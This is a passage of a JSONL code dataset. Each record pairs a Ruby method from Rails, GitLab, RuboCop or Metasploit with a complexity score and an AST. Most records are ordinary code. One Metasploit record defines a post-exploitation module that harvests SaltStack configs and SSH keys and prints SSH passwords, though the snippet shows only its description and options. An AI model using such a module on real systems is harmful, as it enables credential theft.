end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"sym\",\"children\":[\"routes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hanami\"]},\"Slice\"]},\"RoutesHelper\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"router\"]}]}]}]}","id":"8e351b23-d330-4264-89df-b5fe549f8d2f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/runas.rb","start_line":252,"raw_source":"def check_command_length(application_name, command_line, max_length)\n    fail ArgumentError, 'max_length is nil' if max_length.nil?\n\n    if application_name.nil? && command_line.nil?\n      raise ArgumentError, 'Both application_name and command_line are nil'\n    elsif command_line && command_line.length > max_length\n      raise ArgumentError, \"Command line must be less than #{max_length} characters (Currently #{command_line.length})\"\n    elsif application_name.nil? && command_line\n      cl = command_line.split(' ')\n      if cl[0] && cl[0].length > MAX_PATH\n        raise ArgumentError, \"When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})\"\n      end\n    end\n\n    true\n  end","complexity_score":36.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_command_length\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"application_name\"]},{\"type\":\"arg\",\"children\":[\"command_line\"]},{\"type\":\"arg\",\"children\":[\"max_length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_length\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"max_length is nil\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_line\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Both application_name and command_line are nil\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_line\"]},\"length\"]},\">\",{\"type\":\"lvar\",\"children\":[\"max_length\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Command line must be less than \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_length\"]}]},{\"type\":\"str\",\"children\":[\" characters (Currently \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_line\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"application_name\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"command_line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cl\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_line\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cl\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cl\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_PATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"When application_name is nil the command line module must be less than MAX_PATH \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_PATH\"]}]},{\"type\":\"str\",\"children\":[\" characters (Currently \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cl\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"length\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},null]}]},null]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"36b6399f-d2fd-453f-b326-66a309fc42d4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":5298,"raw_source":"def test_url_helpers\n    assert_equal \"/blog/\", posts_path({})\n    assert_equal \"/blog/\", Routes.url_helpers.posts_path({})\n\n    assert_equal \"/blog/1\", post_path(id: \"1\")\n    assert_equal \"/blog/1\", Routes.url_helpers.post_path(id: \"1\")\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_url_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/blog/\"]},{\"type\":\"send\",\"children\":[null,\"posts_path\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/blog/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Routes\"]},\"url_helpers\"]},\"posts_path\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/blog/1\"]},{\"type\":\"send\",\"children\":[null,\"post_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/blog/1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Routes\"]},\"url_helpers\"]},\"post_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]}","id":"86bc5f11-fed8-4b62-b5f6-6b7ce9868658"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issues/confidentiality_filter.rb","start_line":14,"raw_source":"def filter(issues)\n      issues = issues.confidential_only if params[:confidential]\n\n      # We do not need to do the confidentiality check if we know that only public issues will be returned\n      return issues.public_only if current_user.blank? || params[:confidential] == false\n\n      return issues if user_can_see_all_confidential_issues?\n\n      # Since the CTE is used in access_to_parent_exists only if @related_groups is not null, we can skip the CTE if\n      # it's null\n      unless @related_groups.nil?\n        issues = issues.with_accessible_sub_namespace_ids_cte(Group.groups_user_can(@related_groups,\n          current_user,\n          :read_confidential_issues,\n          same_root: true).select('id'))\n      end\n\n      issues.public_only.or(\n        issues.confidential_only.merge(\n          issues.authored(current_user)\n            .or(issues.assigned_to(current_user))\n            .or(access_to_parent_exists(issues))\n        )\n      ).allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/422045')\n    end","complexity_score":45.7,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issues\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"confidential\"]}]},{\"type\":\"lvasgn\",\"children\":[\"issues\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"confidential_only\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"confidential\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"public_only\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_can_see_all_confidential_issues?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@related_groups\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"issues\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"with_accessible_sub_namespace_ids_cte\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"groups_user_can\",{\"type\":\"ivar\",\"children\":[\"@related_groups\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_confidential_issues\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"same_root\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"public_only\"]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"confidential_only\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"authored\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issues\"]},\"assigned_to\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},\"or\",{\"type\":\"send\",\"children\":[null,\"access_to_parent_exists\",{\"type\":\"lvar\",\"children\":[\"issues\"]}]}]}]}]},\"allow_cross_joins_across_databases\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://gitlab.com/gitlab-org/gitlab/-/issues/422045\"]}]}]}]}]}]}","id":"d8890612-1c84-4f0d-92bc-fb4281c4f37f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/allowlist_migration_task.rb","start_line":123,"raw_source":"def finish_message\n        if preview_mode?\n          \"\\nMigration complete in preview mode.\\n\\n\"\n        else\n          \"\\nMigration complete.\\n\\n\"\n        end\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"finish_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_mode?\"]},{\"type\":\"str\",\"children\":[\"\\nMigration complete in preview mode.\\n\\n\"]},{\"type\":\"str\",\"children\":[\"\\nMigration complete.\\n\\n\"]}]}]}","id":"0922f0ea-ca35-4456-8955-0c69b7d24beb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/saltstack_salt.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SaltStack Salt Information Gatherer',\n        'Description' => %q{\n          This module gathers information from SaltStack Salt masters and minions.\n          Data gathered from minions: 1. salt minion config file\n          Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)\n          2. minion hostname/ip/os (depending on module settings)\n          3. SLS\n          4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed\n          5. minion config files\n          6. pillar data\n        },\n        'Author' => [\n          'h00die',\n          'c2Vlcgo'\n        ],\n        'SessionTypes' => %w[shell meterpreter],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('MINIONS', [true, 'Minions Target', '*']),\n        OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),\n        OptBool.new('GETIP', [false, 'Gather IP from minions', true]),\n        OptBool.new('GETOS', [false, 'Gather OS from minions', true]),\n        OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])\n      ]\n    )\n  end","complexity_score":10.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SaltStack Salt Information Gatherer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module gathers information from SaltStack Salt masters and minions.\\n\"]},{\"type\":\"str\",\"children\":[\"          Data gathered from minions: 1. salt minion config file\\n\"]},{\"type\":\"str\",\"children\":[\"          Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)\\n\"]},{\"type\":\"str\",\"children\":[\"          2. minion hostname/ip/os (depending on module settings)\\n\"]},{\"type\":\"str\",\"children\":[\"          3. SLS\\n\"]},{\"type\":\"str\",\"children\":[\"          4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed\\n\"]},{\"type\":\"str\",\"children\":[\"          5. minion config files\\n\"]},{\"type\":\"str\",\"children\":[\"          6. pillar data\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"c2Vlcgo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MINIONS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Minions Target\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"GETHOSTNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Gather Hostname from minions\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"GETIP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Gather IP from minions\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"GETOS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Gather OS from minions\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Timeout for salt commands to run\"]},{\"type\":\"int\",\"children\":[120]}]}]}]}]}]}]}","id":"d3f0c527-2f36-49ce-ae29-070c39ef9ca2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":1111,"raw_source":"def permissions_for_endpoint\n      return unless access_token.try(:granular?)\n\n      Array(authorization_settings[:permissions])\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions_for_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]},\"try\",{\"type\":\"sym\",\"children\":[\"granular?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorization_settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permissions\"]}]}]}]}]}","id":"5bb8884d-f535-4b46-94cf-58705807ef42"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encryptor.rb","start_line":164,"raw_source":"def uncompress_if_needed(data, compressed)\n          if compressed\n            uncompress(data)\n          else\n            data\n          end\n        end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"uncompress_if_needed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"compressed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compressed\"]},{\"type\":\"send\",\"children\":[null,\"uncompress\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"d5f9153d-dc83-4338-97bf-ca1e9db4f9fe"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":1416,"raw_source":"def _increment_attribute(attribute, value = 1)\n        bind = predicate_builder.build_bind_attribute(attribute.name, value.abs)\n        expr = table.coalesce(attribute, 0)\n        expr = value < 0 ? expr - bind : expr + bind\n        expr.expr\n      end","complexity_score":16.25,"ast_json":"{\"type\":\"def\",\"children\":[\"_increment_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bind\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"predicate_builder\"]},\"build_bind_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"abs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table\"]},\"coalesce\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expr\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expr\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"bind\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expr\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"bind\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expr\"]},\"expr\"]}]}]}","id":"a9fe06b4-0d8c-4f50-b45b-cf7fa99dbddb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/target_ruby.rb","start_line":221,"raw_source":"def find_version\n        lock_file_path = bundler_lock_file_path\n        return nil unless lock_file_path\n\n        in_ruby_section = false\n        File.foreach(lock_file_path) do |line|\n          # If ruby is in Gemfile.lock or gems.lock, there should be two lines\n          # towards the bottom of the file that look like:\n          #     RUBY VERSION\n          #       ruby W.X.YpZ\n          # We ultimately want to match the \"ruby W.X.Y.pZ\" line, but there's\n          # extra logic to make sure we only start looking once we've seen the\n          # \"RUBY VERSION\" line.\n          in_ruby_section ||= line.match(/^\\s*RUBY\\s*VERSION\\s*$/)\n          next unless in_ruby_section\n\n          # We currently only allow this feature to work with MRI ruby. If\n          # jruby (or something else) is used by the project, it's lock file\n          # will have a line that looks like:\n          #     RUBY VERSION\n          #       ruby W.X.YpZ (jruby x.x.x.x)\n          # The regex won't match in this situation.\n          result = line.match(/^\\s*ruby\\s+(\\d+\\.\\d+)[p.\\d]*\\s*$/)\n          return result.captures.first.to_f if result\n        end\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lock_file_path\",{\"type\":\"send\",\"children\":[null,\"bundler_lock_file_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_file_path\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"in_ruby_section\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"foreach\",{\"type\":\"lvar\",\"children\":[\"lock_file_path\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"in_ruby_section\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*RUBY\\\\s*VERSION\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"in_ruby_section\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*ruby\\\\s+(\\\\d+\\\\.\\\\d+)[p.\\\\d]*\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"captures\"]},\"first\"]},\"to_f\"]}]},null]}]}]}]}]}","id":"7a748737-3434-459e-bda1-c12dd8997cf1"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/subscription_adapter/channel_prefix.rb","start_line":6,"raw_source":"def test_channel_prefix\n    server2 = ActionCable::Server::Base.new(config: ActionCable::Server::Configuration.new)\n    server2.config.cable = alt_cable_config.with_indifferent_access\n    server2.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }\n\n    adapter_klass = server2.config.pubsub_adapter\n\n    rx_adapter2 = adapter_klass.new(server2)\n    tx_adapter2 = adapter_klass.new(server2)\n\n    subscribe_as_queue(\"channel\") do |queue|\n      subscribe_as_queue(\"channel\", rx_adapter2) do |queue2|\n        @tx_adapter.broadcast(\"channel\", \"hello world\")\n        tx_adapter2.broadcast(\"channel\", \"hello world 2\")\n\n        assert_equal \"hello world\", queue.pop\n        assert_equal \"hello world 2\", queue2.pop\n      end\n    end\n  end","complexity_score":34.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_channel_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"server2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"Server\"]},\"Base\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"Server\"]},\"Configuration\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server2\"]},\"config\"]},\"cable=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"alt_cable_config\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server2\"]},\"config\"]},\"logger=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"level=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"UNKNOWN\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"adapter_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server2\"]},\"config\"]},\"pubsub_adapter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rx_adapter2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"server2\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tx_adapter2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adapter_klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"server2\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribe_as_queue\",{\"type\":\"str\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribe_as_queue\",{\"type\":\"str\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"rx_adapter2\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tx_adapter\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"channel\"]},{\"type\":\"str\",\"children\":[\"hello world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tx_adapter2\"]},\"broadcast\",{\"type\":\"str\",\"children\":[\"channel\"]},{\"type\":\"str\",\"children\":[\"hello world 2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello 